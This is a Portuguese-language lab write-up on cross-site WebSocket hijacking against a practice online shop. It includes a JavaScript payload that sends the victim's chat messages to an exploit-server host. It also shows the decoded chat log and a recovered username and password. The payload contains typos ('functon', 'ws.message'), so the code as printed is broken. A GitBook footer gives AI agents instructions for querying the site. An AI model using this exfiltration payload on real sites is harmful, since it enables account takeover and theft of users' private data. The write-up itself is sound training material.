> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/websockets/cross-site-websocket-hijacking.md).

# Sequestro de WebSocket entre Sites

### Sequestro de WebSocket entre sites

O app é uma loja online com um **chat ao vivo** recurso implementado usando **WebSockets**. / Toda vez que você visita a página de chat, **todo o histórico da conversa é carregado automaticamente**, sem controle rigoroso da origem da solicitação.

<figure><img src="/files/77f862e2b9a23a1acaca4a6dbc9b493afefc3c2e" alt=""><figcaption></figcaption></figure>

As mensagens trocadas usam o seguinte formato JSON:

```json
{
    "user":"Você",
    "content":"oi"
}
```

<figure><img src="/files/fdb975fe603b69bc278c05080326900a5bbff279" alt=""><figcaption></figcaption></figure>

Exfiltre o histórico do gato da vítima por meio de um ataque de \*\*sequestro de WebSocket entre sites\*\*, depois use as informações recuperadas para acessar a conta dele.

***

#### Princípio do ataque

L的**Servidor de Exploração** é usado para hospedar um payload HTML/JavaScript que:

1. Estabelece uma conexão WebSocket com o servidor de chat alvo.
2. Envia a mensagem necessária para inicializar a comunicação (`READY`).
3. Intercepta todas as mensagens recebidas via WebSocket.
4. Exfiltre essas mensagens para o Servidor de Exploração após codificá-las em Base64.

***

#### Payload usado

Um `data.js` arquivo é criado com o seguinte conteúdo:

```javascript
<script>
var ws = new WebSocket("https://0aad0050046d2085eafd2fe700400041.web-security-academy.net/chat");
ws.onopen = functon() {
ws.send("READY");
};
ws.message = function(event) {
fetch("https://exploit-0ac70073043f200fea802ec601950065.exploit-server.net/?data=" + btoa(event.data));
};
</script>
```

Este script é executado no navegador da vítima quando ela visita o Servidor de Exploração e executa automaticamente a sessão autenticada dela.

<figure><img src="/files/6cd6e78d3f445cddf2382111bdf0a93f884d093c" alt=""><figcaption></figcaption></figure>

#### Dados exfiltrados

O servidor de exploração recebe várias strings codificadas em Base64, por exemplo:

{% code overflow="wrap" %}

```bash
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6IkhlbGxvLCBob3cgY2FuIEkgaGVscD8ifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IkkgZm9yZ290IG15IHBhc3N3b3JkIn0=
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6Ik5vIHByb2JsZW0gY2FybG9zLCBpdCZhcG9zO3MgYmlqajlrNjFtOGJqdjE4dWc2N3UifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IlRoYW5rcywgSSBob3BlIHRoaXMgZG9lc24mYXBvczt0IGNvbWUgYmFjayB0byBiaXRlIG1lISJ9
eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

{% endcode %}

Após a decodificação, o histórico completo do gato é reconstituído:

```json
{"user":"Hal Pline","content":"Hello, how can I help?"}
{"user":"You","content":"I forgot my password"}
{"user":"Hal Pline","content":"No problem carlos, it&apos;s bijj9k61m8bjv18ug67u"}
{"user":"You","content":"Thanks, I hope this doesn&apos;t come back to bite me!"}
{"user":"CONNECTED","content":"-- Agora conversando com Hal Pline --"}
```

#### Resultado

As informações sensíveis recuperadas permitem identificar as credenciais da vítima:

* **Usuário**: carlos
* **Senha**: `bijj9k61m8bjv18ug67u`

Essas credenciais podem então ser usadas para entrar na conta do Carlos e validar o laboratório.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/websockets/cross-site-websocket-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
